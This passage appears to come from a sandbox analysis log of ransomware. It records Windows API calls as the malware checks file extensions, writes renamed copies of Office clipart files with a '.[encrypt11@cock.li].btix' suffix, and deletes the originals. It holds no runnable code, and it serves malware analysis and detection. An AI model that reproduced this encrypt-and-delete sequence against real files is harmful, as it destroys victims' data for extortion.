lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.834] lstrlenW (lpString=".xlsx") returned 5 [0058.834] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.834] lstrlenW (lpString=".ppt") returned 4 [0058.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0058.834] lstrlenW (lpString=".zip") returned 4 [0058.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.834] lstrlenW (lpString=".rar") returned 4 [0058.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.835] lstrlenW (lpString=".bz2") returned 4 [0058.835] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.835] lstrlenW (lpString=".7z") returned 3 [0058.835] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0058.835] lstrlenW (lpString=".dbf") returned 4 [0058.835] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0058.835] lstrlenW (lpString=".1cd") returned 4 [0058.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0058.835] lstrlenW (lpString=".jpg") returned 4 [0058.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.835] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.835] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0058.835] GetLastError () returned 0x0 [0058.835] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x2576, lpOverlapped=0x0) returned 1 [0059.056] WriteFile (in: hFile=0x348, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x2580, lpOverlapped=0x0) returned 1 [0059.057] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.057] WriteFile (in: hFile=0x348, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0059.057] SetEndOfFile (hFile=0x348) returned 1 [0059.057] CloseHandle (hObject=0x348) returned 1 [0059.058] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.058] SetEndOfFile (hFile=0x328) returned 1 [0059.066] CloseHandle (hObject=0x328) returned 1 [0059.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0059.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0059.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0059.067] lstrlenW (lpString=".doc") returned 4 [0059.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.067] lstrlenW (lpString=".docx") returned 5 [0059.067] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.067] lstrlenW (lpString=".pdf") returned 4 [0059.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.067] lstrlenW (lpString=".xls") returned 4 [0059.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.067] lstrlenW (lpString=".xlsx") returned 5 [0059.067] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.067] lstrlenW (lpString=".ppt") returned 4 [0059.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0059.067] lstrlenW (lpString=".zip") returned 4 [0059.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.067] lstrlenW (lpString=".rar") returned 4 [0059.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.067] lstrlenW (lpString=".bz2") returned 4 [0059.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.067] lstrlenW (lpString=".7z") returned 3 [0059.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0059.068] lstrlenW (lpString=".dbf") returned 4 [0059.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0059.068] lstrlenW (lpString=".1cd") returned 4 [0059.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0059.068] lstrlenW (lpString=".jpg") returned 4 [0059.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.068] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.068] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0059.069] GetLastError () returned 0x0 [0059.069] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x1870, lpOverlapped=0x0) returned 1 [0059.339] WriteFile (in: hFile=0x348, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x1880, lpOverlapped=0x0) returned 1 [0059.340] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.340] WriteFile (in: hFile=0x348, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0059.340] SetEndOfFile (hFile=0x348) returned 1 [0059.340] CloseHandle (hObject=0x348) returned 1 [0059.341] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.341] SetEndOfFile (hFile=0x328) returned 1 [0059.341] CloseHandle (hObject=0x328) returned 1 [0059.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0059.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0059.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0059.342] lstrlenW (lpString=".doc") returned 4 [0059.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.342] lstrlenW (lpString=".docx") returned 5 [0059.342] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.342] lstrlenW (lpString=".pdf") returned 4 [0059.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.342] lstrlenW (lpString=".xls") returned 4 [0059.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.342] lstrlenW (lpString=".xlsx") returned 5 [0059.342] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.342] lstrlenW (lpString=".ppt") returned 4 [0059.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0059.342] lstrlenW (lpString=".zip") returned 4 [0059.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.343] lstrlenW (lpString=".rar") returned 4 [0059.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.343] lstrlenW (lpString=".bz2") returned 4 [0059.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.343] lstrlenW (lpString=".7z") returned 3 [0059.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0059.343] lstrlenW (lpString=".dbf") returned 4 [0059.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0059.343] lstrlenW (lpString=".1cd") returned 4 [0059.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0059.343] lstrlenW (lpString=".jpg") returned 4 [0059.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.344] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.344] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0059.344] GetLastError () returned 0x0 [0059.344] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0xd16, lpOverlapped=0x0) returned 1 [0059.378] WriteFile (in: hFile=0x348, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xd20, lpOverlapped=0x0) returned 1 [0059.378] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.378] WriteFile (in: hFile=0x348, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xe4, lpOverlapped=0x0) returned 1 [0059.378] SetEndOfFile (hFile=0x348) returned 1 [0059.379] CloseHandle (hObject=0x348) returned 1 [0059.379] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.379] SetEndOfFile (hFile=0x328) returned 1 [0059.381] CloseHandle (hObject=0x328) returned 1 [0059.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1 [0059.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0059.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0059.682] lstrlenW (lpString=".doc") returned 4 [0059.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.682] lstrlenW (lpString=".docx") returned 5 [0059.682] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0059.682] lstrlenW (lpString=".pdf") returned 4 [0059.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.682] lstrlenW (lpString=".xls") returned 4 [0059.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.682] lstrlenW (lpString=".xlsx") returned 5 [0059.682] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0059.682] lstrlenW (lpString=".ppt") returned 4 [0059.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0059.682] lstrlenW (lpString=".zip") returned 4 [0059.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.682] lstrlenW (lpString=".rar") returned 4 [0059.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.682] lstrlenW (lpString=".bz2") returned 4 [0059.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.682] lstrlenW (lpString=".7z") returned 3 [0059.682] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0059.682] lstrlenW (lpString=".dbf") returned 4 [0059.682] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0059.683] lstrlenW (lpString=".1cd") returned 4 [0059.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0059.683] lstrlenW (lpString=".jpg") returned 4 [0059.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.683] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.683] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0059.683] GetLastError () returned 0x0 [0059.683] ReadFile (in: hFile=0x38c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x6b0, lpOverlapped=0x0) returned 1 [0059.757] WriteFile (in: hFile=0x354, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x6c0, lpOverlapped=0x0) returned 1 [0059.758] ReadFile (in: hFile=0x38c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.758] WriteFile (in: hFile=0x354, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0059.758] SetEndOfFile (hFile=0x354) returned 1 [0059.758] CloseHandle (hObject=0x354) returned 1 [0059.759] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.759] SetEndOfFile (hFile=0x38c) returned 1 [0059.761] CloseHandle (hObject=0x38c) returned 1 [0059.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0059.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0059.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0059.762] lstrlenW (lpString=".doc") returned 4 [0059.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.762] lstrlenW (lpString=".docx") returned 5 [0059.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.762] lstrlenW (lpString=".pdf") returned 4 [0059.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.763] lstrlenW (lpString=".xls") returned 4 [0059.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.763] lstrlenW (lpString=".xlsx") returned 5 [0059.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.763] lstrlenW (lpString=".ppt") returned 4 [0059.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0059.763] lstrlenW (lpString=".zip") returned 4 [0059.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.763] lstrlenW (lpString=".rar") returned 4 [0059.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.763] lstrlenW (lpString=".bz2") returned 4 [0059.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.763] lstrlenW (lpString=".7z") returned 3 [0059.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0059.763] lstrlenW (lpString=".dbf") returned 4 [0059.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0059.763] lstrlenW (lpString=".1cd") returned 4 [0059.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0059.763] lstrlenW (lpString=".jpg") returned 4 [0059.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.858] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.858] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0059.858] GetLastError () returned 0x0 [0059.858] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x1370, lpOverlapped=0x0) returned 1 [0059.892] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x1380, lpOverlapped=0x0) returned 1 [0059.918] ReadFile (in: hFile=0x3a4, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.918] WriteFile (in: hFile=0x2e0, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0059.918] SetEndOfFile (hFile=0x2e0) returned 1 [0059.918] CloseHandle (hObject=0x2e0) returned 1 [0059.965] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.965] SetEndOfFile (hFile=0x3a4) returned 1 [0059.968] CloseHandle (hObject=0x3a4) returned 1 [0059.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0059.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0059.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0059.973] lstrlenW (lpString=".doc") returned 4 [0059.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.973] lstrlenW (lpString=".docx") returned 5 [0059.973] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.973] lstrlenW (lpString=".pdf") returned 4 [0059.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.973] lstrlenW (lpString=".xls") returned 4 [0059.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.973] lstrlenW (lpString=".xlsx") returned 5 [0059.974] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.974] lstrlenW (lpString=".ppt") returned 4 [0059.974] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0059.974] lstrlenW (lpString=".zip") returned 4 [0059.974] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.974] lstrlenW (lpString=".rar") returned 4 [0059.974] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.974] lstrlenW (lpString=".bz2") returned 4 [0059.974] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.974] lstrlenW (lpString=".7z") returned 3 [0059.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0059.974] lstrlenW (lpString=".dbf") returned 4 [0059.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0059.974] lstrlenW (lpString=".1cd") returned 4 [0059.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0059.974] lstrlenW (lpString=".jpg") returned 4 [0059.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.975] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.975] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft 